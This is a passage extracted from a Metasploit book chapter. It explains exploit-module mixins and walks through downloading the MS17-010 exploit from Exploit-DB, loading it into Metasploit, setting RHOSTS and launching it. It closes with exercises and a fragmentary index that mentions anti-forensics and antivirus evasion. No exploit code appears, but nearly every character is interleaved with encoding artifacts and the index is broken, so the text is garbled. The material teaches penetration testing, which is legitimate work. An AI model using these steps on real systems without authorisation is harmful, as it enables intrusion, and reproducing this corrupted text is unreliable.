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�E�x�t�e�n�d�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �E�x�p�l�o�i�t� �D�e�v�e�l�o�p�m�e�n�t

�[� �1�6�6� �]

�T�h�e� �D�i�s�c�l�o�s�u�r�e�D�a�t�e� �f�i�e�l�d�:� �T�h�i�s� �f�i�e�l�d� �s�p�e�c�i�f�i�e�s� �w�h�e�n� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �w�a�s
�d�i�s�c�l�o�s�e�d� �i�n� �p�u�b�l�i�c�,� �i�n� �t�h�e� �f�o�r�m�a�t� �o�f� �M� �D� �Y�,� �f�o�r� �e�x�a�m�p�l�e�,� �"�J�u�n� �2�9�,� �2�0�1�7�.�"

�Y�o�u�r� �e�x�p�l�o�i�t� �c�o�d�e� �s�h�o�u�l�d� �a�l�s�o� �i�n�c�l�u�d�e� �a� check � �m�e�t�h�o�d� �t�o� �s�u�p�p�o�r�t� �t�h�e� check � �c�o�m�m�a�n�d�,� �b�u�t
�t�h�i�s� �i�s� �o�p�t�i�o�n�a�l� �i�n� �c�a�s�e� �i�t�'�s� �n�o�t� �p�o�s�s�i�b�l�e�.� �T�h�e� check � �c�o�m�m�a�n�d� �w�i�l�l� �p�r�o�b�e� �t�h�e� �t�a�r�g�e�t� �f�o�r� �t�h�e
�f�e�a�s�i�b�i�l�i�t�y� �o�f� �t�h�e� �e�x�p�l�o�i�t�.

�A�n�d� �f�i�n�a�l�l�y�,� �t�h�e� �e�x�p�l�o�i�t� �m�e�t�h�o�d� �i�s� �l�i�k�e� �y�o�u�r� �m�a�i�n� �m�e�t�h�o�d�.� �S�t�a�r�t� �w�r�i�t�i�n�g� �y�o�u�r� �c�o�d�e� �t�h�e�r�e�.

�W�h�a�t� �a�r�e� �M�e�t�a�s�p�l�o�i�t� �m�i�x�i�n�s�?
�I�f� �y�o�u� �a�r�e� �f�a�m�i�l�i�a�r� �w�i�t�h� �p�r�o�g�r�a�m�m�i�n�g� �l�a�n�g�u�a�g�e�s� �s�u�c�h� �a�s� �C� �a�n�d� �J�a�v�a�,� �y�o�u� �m�u�s�t� �h�a�v�e� �c�o�m�e
�a�c�r�o�s�s� �t�e�r�m�s� �s�u�c�h� �a�s� �f�u�n�c�t�i�o�n�s� �a�n�d� �c�l�a�s�s�e�s�.� �F�u�n�c�t�i�o�n�s� �i�n� �C� �a�n�d� �c�l�a�s�s�e�s� �i�n� �J�a�v�a� �b�a�s�i�c�a�l�l�y� �a�l�l�o�w
�c�o�d�e� �r�e�u�s�e�.� �T�h�i�s� �m�a�k�e�s� �t�h�e� �p�r�o�g�r�a�m� �m�o�r�e� �e�f�f�i�c�i�e�n�t�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �w�r�i�t�t�e�n� �i�n
�t�h�e� �R�u�b�y� �l�a�n�g�u�a�g�e�.� �S�o�,� �f�r�o�m� �t�h�e� �p�e�r�s�p�e�c�t�i�v�e� �o�f� �t�h�e� �R�u�b�y� �l�a�n�g�u�a�g�e�,� �a� �m�i�x�i�n� �i�s� �n�o�t�h�i�n�g� �b�u�t� �a
�s�i�m�p�l�e� �m�o�d�u�l�e� �t�h�a�t� �i�s� �i�n�c�l�u�d�e�d� �i�n� �a� �c�l�a�s�s�.� �T�h�i�s� �w�i�l�l� �e�n�a�b�l�e� �t�h�e� �c�l�a�s�s� �t�o� �h�a�v�e� �a�c�c�e�s�s� �t�o� �a�l�l
�m�e�t�h�o�d�s� �o�f� �t�h�i�s� �m�o�d�u�l�e�.

�S�o�,� �w�i�t�h�o�u�t� �g�o�i�n�g� �i�n�t�o� �m�u�c�h� �d�e�t�a�i�l�s� �a�b�o�u�t� �p�r�o�g�r�a�m�m�i�n�g�,� �y�o�u� �c�a�n� �s�i�m�p�l�y� �r�e�m�e�m�b�e�r� �t�h�a�t
�m�i�x�i�n�s� �h�e�l�p� �i�n� �m�o�d�u�l�a�r� �p�r�o�g�r�a�m�m�i�n�g�;� �f�o�r� �i�n�s�t�a�n�c�e�,� �y�o�u� �m�a�y� �w�a�n�t� �t�o� �p�e�r�f�o�r�m� �s�o�m�e� �T�C�P
�o�p�e�r�a�t�i�o�n�s�,� �s�u�c�h� �a�s� �c�o�n�n�e�c�t�i�n�g� �t�o� �a� �r�e�m�o�t�e� �p�o�r�t� �a�n�d� �f�e�t�c�h�i�n�g� �s�o�m�e� �d�a�t�a�.� �N�o�w�,� �t�o� �p�e�r�f�o�r�m
�t�h�i�s� �t�a�s�k�,� �y�o�u� �m�i�g�h�t� �h�a�v�e� �t�o� �w�r�i�t�e� �q�u�i�t�e� �a� �l�o�t� �o�f� �c�o�d�e� �a�l�t�o�g�e�t�h�e�r�.� �H�o�w�e�v�e�r�,� �i�f� �y�o�u� �m�a�k�e� �u�s�e
�o�f� �t�h�e� �a�l�r�e�a�d�y� �a�v�a�i�l�a�b�l�e� �T�C�P� �m�i�x�i�n�,� �y�o�u� �w�i�l�l� �e�n�d� �u�p� �s�a�v�i�n�g� �t�h�e� �e�f�f�o�r�t�s� �o�f� �w�r�i�t�i�n�g� �t�h�e� �e�n�t�i�r�e
�c�o�d�e� �f�r�o�m� �s�c�r�a�t�c�h�!� �Y�o�u� �w�i�l�l� �s�i�m�p�l�y� �i�n�c�l�u�d�e� �t�h�e� �T�C�P� �m�i�x�i�n� �a�n�d� �c�a�l�l� �t�h�e� �a�p�p�r�o�p�r�i�a�t�e
�f�u�n�c�t�i�o�n�s� �a�s� �r�e�q�u�i�r�e�d�.� �S�o�,� �y�o�u� �n�e�e�d� �n�o�t� �r�e�i�n�v�e�n�t� �t�h�e� �w�h�e�e�l� �a�n�d� �c�a�n� �s�a�v�e� �a� �l�o�t� �o�f� �t�i�m�e� �a�n�d
�e�f�f�o�r�t� �u�s�i�n�g� �t�h�e� �m�i�x�i�n�.

�Y�o�u� �c�a�n� �v�i�e�w� �t�h�e� �v�a�r�i�o�u�s� �m�i�x�i�n�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �b�y� �b�r�o�w�s�i�n�g� �t�h�e
/lib/msf/core/exploit � �d�i�r�e�c�t�o�r�y�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:



�E�x�t�e�n�d�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �E�x�p�l�o�i�t� �D�e�v�e�l�o�p�m�e�n�t

�[� �1�6�7� �]

�S�o�m�e� �o�f� �t�h�e� �m�o�s�t� �c�o�m�m�o�n�l�y� �u�s�e�d� �m�i�x�i�n�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

Exploit::Remote::Tcp �:� �T�h�e� �c�o�d�e� �o�f� �t�h�i�s� �m�i�x�i�n� �i�s� �l�o�c�a�t�e�d� �a�t
lib/msf/core/exploit/tcp.rb � �a�n�d� �p�r�o�v�i�d�e�s� �t�h�e� �f�o�l�l�o�w�i�n�g� �m�e�t�h�o�d�s� �a�n�d
�o�p�t�i�o�n�s�:

�T�C�P� �o�p�t�i�o�n�s� �a�n�d� �m�e�t�h�o�d�s
�D�e�f�i�n�e�s� �R�H�O�S�T�,� �R�P�O�R�T�,� �a�n�d� �C�o�n�n�e�c�t�T�i�m�e�o�u�t
connect() � �a�n�d� disconnect()

�C�r�e�a�t�e�s� �s�e�l�f�.�s�o�c�k� �a�s� �t�h�e� �g�l�o�b�a�l� �s�o�c�k�e�t
�O�f�f�e�r�s� �S�S�L�,� �P�r�o�x�i�e�s�,� �C�P�O�R�T�,� �a�n�d� �C�H�O�S�T
�E�v�a�s�i�o�n� �v�i�a� �s�m�a�l�l� �s�e�g�m�e�n�t� �s�e�n�d�s
�E�x�p�o�s�e�s� �u�s�e�r� �o�p�t�i�o�n�s� �a�s� �m�e�t�h�o�d�s� �s�u�c�h� �a�s� rhost() � rport() � ssl()

Exploit::Remote::SMB �:� �T�h�e� �c�o�d�e� �o�f� �t�h�i�s� �m�i�x�i�n� �i�s� �i�n�h�e�r�i�t�e�d� �f�r�o�m� �t�h�e� �T�C�P
�m�i�x�i�n�,� �i�s� �l�o�c�a�t�e�d� �a�t� lib/msf/core/exploit/smb.rb �,� �a�n�d� �p�r�o�v�i�d�e�s� �t�h�e
�f�o�l�l�o�w�i�n�g� �m�e�t�h�o�d�s� �a�n�d� �o�p�t�i�o�n�s�:

smb_login()

smb_create()

smb_peer_os()

�P�r�o�v�i�d�e�s� �t�h�e� �o�p�t�i�o�n�s� �o�f� �S�M�B�U�s�e�r�,� �S�M�B�P�a�s�s�,� �a�n�d� �S�M�B�D�o�m�a�i�n
�E�x�p�o�s�e�s� �I�P�S� �e�v�a�s�i�o�n� �m�e�t�h�o�d�s� �s�u�c�h� �a�s� SMB::pipe_evasion �,
SMB::pad_data_level �,� �a�n�d� SMB::file_data_level

�A�d�d�i�n�g� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t�s� �t�o� �M�e�t�a�s�p�l�o�i�t
�N�e�w� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�c�r�o�s�s� �v�a�r�i�o�u�s� �a�p�p�l�i�c�a�t�i�o�n�s� �a�n�d� �p�r�o�d�u�c�t�s� �a�r�e� �f�o�u�n�d� �o�n� �a� �d�a�i�l�y� �b�a�s�i�s�.� �F�o�r
�m�o�s�t� �n�e�w�l�y� �f�o�u�n�d� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�,� �a�n� �e�x�p�l�o�i�t� �c�o�d�e� �i�s� �a�l�s�o� �m�a�d�e� �p�u�b�l�i�c�.� �N�o�w�,� �t�h�e� �e�x�p�l�o�i�t
�c�o�d�e� �i�s� �q�u�i�t�e� �o�f�t�e�n� �i�n� �a� �r�a�w� �f�o�r�m�a�t� �(�j�u�s�t� �l�i�k�e� �a� �s�h�e�l�l�c�o�d�e�)� �a�n�d� �n�o�t� �r�e�a�d�i�l�y� �u�s�a�b�l�e�.� �A�l�s�o�,� �i�t
�m�i�g�h�t� �t�a�k�e� �s�o�m�e� �t�i�m�e� �b�e�f�o�r�e� �t�h�e� �e�x�p�l�o�i�t� �i�s� �o�f�f�i�c�i�a�l�l�y� �m�a�d�e� �a�v�a�i�l�a�b�l�e� �a�s� �a� �m�o�d�u�l�e� �w�i�t�h�i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �H�o�w�e�v�e�r�,� �w�e� �c�a�n� �m�a�n�u�a�l�l�y� �a�d�d� �a�n� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t� �m�o�d�u�l�e� �i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�n�d� �u�s�e� �i�t� �l�i�k�e� �a�n�y� �o�t�h�e�r� �e�x�i�s�t�i�n�g� �e�x�p�l�o�i�t� �m�o�d�u�l�e�.� �L�e�t�'�s� �t�a�k�e� �a�n
�e�x�a�m�p�l�e� �o�f� �t�h�e� �M�S�1�7�-�0�1�0� �v�u�l�n�e�r�a�b�i�l�i�t�y� �t�h�a�t� �w�a�s� �r�e�c�e�n�t�l�y� �u�s�e�d� �b�y� �t�h�e� �W�a�n�n�a�c�r�y
�r�a�n�s�o�m�w�a�r�e�.� �B�y� �d�e�f�a�u�l�t�,� �t�h�e� �e�x�p�l�o�i�t� �c�o�d�e� �f�o�r� �M�S�1�7�-�0�1�0� �i�s�n�'�t� �a�v�a�i�l�a�b�l�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.

�L�e�t�'�s� �s�t�a�r�t� �b�y� �d�o�w�n�l�o�a�d�i�n�g� �t�h�e� �M�S�1�7�-�0�1�0� �m�o�d�u�l�e� �f�r�o�m� �t�h�e� �e�x�p�l�o�i�t� �d�a�t�a�b�a�s�e�.
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�D�i�d� �y�o�u� �k�n�o�w�?� �E�x�p�l�o�i�t�-�D�B� �l�o�c�a�t�e�d� �a�t� h  t  t  p  s  ://w  w w .  e  x  p  l  o  i  t  -  d  b  .  c  o  m �i�s
�o�n�e� �o�f� �t�h�e� �m�o�s�t� �t�r�u�s�t�e�d� �a�n�d� �u�p�d�a�t�e�d� �s�o�u�r�c�e�s� �f�o�r� �g�e�t�t�i�n�g� �n�e�w� �e�x�p�l�o�i�t�s� �f�o�r� �a
�v�a�r�i�e�t�y� �o�f� �p�l�a�t�f�o�r�m�s�,� �p�r�o�d�u�c�t�s�,� �a�n�d� �a�p�p�l�i�c�a�t�i�o�n�s�.

�S�i�m�p�l�y� �o�p�e�n� h  t  t  p  s  ://w  w w .  e  x  p  l  o  i  t  -  d  b  .  c  o  m /e  x  p  l  o  i  t  s  /41891/ � �i�n� �a�n�y� �b�r�o�w�s�e�r�,� �a�n�d� 
�d�o�w�n�l�o�a�d� �t�h�e� �e�x�p�l�o�i�t� �c�o�d�e�,� �w�h�i�c�h� �i�s� �i�n� �t�h�e� ruby (.rb) � �f�o�r�m�a�t�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�O�n�c�e� �t�h�e� �R�u�b�y� �f�i�l�e� �f�o�r� �t�h�e� �e�x�p�l�o�i�t� �h�a�s� �b�e�e�n� �d�o�w�n�l�o�a�d�e�d�,� �w�e� �n�e�e�d� �t�o� �c�o�p�y� �i�t� �t�o� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �d�i�r�e�c�t�o�r�y� �a�t� �p�a�t�h� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�T�h�e� �p�a�t�h� �s�h�o�w�n� �i�n� �t�h�e� �s�c�r�e�e�n�s�h�o�t� �i�s� �t�h�e� �d�e�f�a�u�l�t� �p�a�t�h� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �t�h�a�t� �c�o�m�e�s� �p�r�e�i�n�s�t�a�l�l�e�d� �o�n� �K�a�l�i� �L�i�n�u�x�.� �Y�o�u� �n�e�e�d� �t�o� �c�h�a�n�g�e� �t�h�e
�p�a�t�h� �i�n� �c�a�s�e� �y�o�u� �h�a�v�e� �a� �c�u�s�t�o�m� �i�n�s�t�a�l�l�a�t�i�o�n� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.
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�A�f�t�e�r� �c�o�p�y�i�n�g� �t�h�e� �n�e�w�l�y� �d�o�w�n�l�o�a�d�e�d� �e�x�p�l�o�i�t� �c�o�d�e� �t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �d�i�r�e�c�t�o�r�y�,� �w�e� �w�i�l�l� �s�t�a�r�t
msfconsole � �a�n�d� �i�s�s�u�e� �a� reload_all � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�T�h�e� reload_all � �c�o�m�m�a�n�d� �w�i�l�l� �r�e�f�r�e�s�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t�'�s� �i�n�t�e�r�n�a�l� �d�a�t�a�b�a�s�e� �t�o� �i�n�c�l�u�d�e� �t�h�e
�n�e�w�l�y� �c�o�p�i�e�d� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t� �c�o�d�e�.� �N�o�w�,� �w�e� �c�a�n� �u�s�e� �t�h�e� use exploit � �c�o�m�m�a�n�d�,� �a�s� �u�s�u�a�l�,
�t�o� �s�e�t� �u�p� �a�n�d� �i�n�i�t�i�a�t�e� �a� �n�e�w� �e�x�p�l�o�i�t�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �W�e� �c�a�n� �s�i�m�p�l�y� �s�e�t
�t�h�e� �v�a�l�u�e� �o�f� �t�h�e� �v�a�r�i�a�b�l�e� RHOSTS� �a�n�d� �l�a�u�n�c�h� �t�h�e� �e�x�p�l�o�i�t�:
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�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�o�n�c�l�u�d�i�n�g� �c�h�a�p�t�e�r�,� �y�o�u� �l�e�a�r�n�e�d� �t�h�e� �v�a�r�i�o�u�s� �e�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t� �c�o�n�c�e�p�t�s�,� �v�a�r�i�o�u�s
�w�a�y�s� �o�f� �e�x�t�e�n�d�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �b�y� �a�d�d�i�n�g� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t�s�,� �a�n�d� �g�o�t� �a�n
�i�n�t�r�o�d�u�c�t�i�o�n� �t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �e�x�p�l�o�i�t� �t�e�m�p�l�a�t�e�s� �a�n�d� �m�i�x�i�n�s�.

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�T�r�y� �t�o� �e�x�p�l�o�r�e� �t�h�e� �m�i�x�i�n� �c�o�d�e�s� �a�n�d� �c�o�r�r�e�s�p�o�n�d�i�n�g� �f�u�n�c�t�i�o�n�a�l�i�t�i�e�s� �f�o�r� �t�h�e
�f�o�l�l�o�w�i�n�g�:

�c�a�p�t�u�r�e
�L�o�r�c�o�n
�M�S�S�Q�L
�K�e�r�n�e�l�M�o�d�e
�F�T�P
�F�T�P�S�e�r�v�e�r
�E�g�g�H�u�n�t�e�r

�F�i�n�d� �a�n�y� �e�x�p�l�o�i�t� �o�n� h  t  t  p  s  ://w  w w .  e  x  p  l  o  i  t  -  d  b  .  c  o  m �t�h�a�t� �i�s� �c�u�r�r�e�n�t�l�y� �n�o�t� �a� �p�a�r�t� �o�f
�t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �T�r�y� �t�o� �d�o�w�n�l�o�a�d� �a�n�d� �i�m�p�o�r�t� �i�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.
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�A
�a�n�t�i�-�f�o�r�e�n�s�i�c�s
� � � �a�b�o�u�t� � 143
� � � �c�l�e�a�r�e�v� � 147 �,� 148
� � � �t�i�m�e�s�t�o�m�p� � 144 �,� 146
�A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e
� � � �e�n�u�m�e�r�a�t�i�o�n� � 153
� � � �s�t�a�r�t�i�n�g� � 151
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� � � �a�b�o�u�t� � 18�,� 150
� � � �r�e�f�e�r�e�n�c�e� � 18
�a�t�t�a�c�k�s
� � � �f�i�n�d�i�n�g� � 155 �,� 159
� � � �l�a�u�n�c�h�i�n�g� � 155 �,� 159
�a�u�t�o� �e�x�p�l�o�i�t�a�t�i�o�n
� � � �d�b�_�a�u�t�o�p�w�n�,� �u�s�i�n�g� � 94
�A�V� �d�e�t�e�c�t�i�o�n
� � � �a�v�o�i�d�i�n�g�,� �e�n�c�o�d�e�r�s� �u�s�e�d� � 134 �,� 137

�B
�B�r�o�w�s�e�r� �A�u�t�o�p�w�n� � 118 �,� 121
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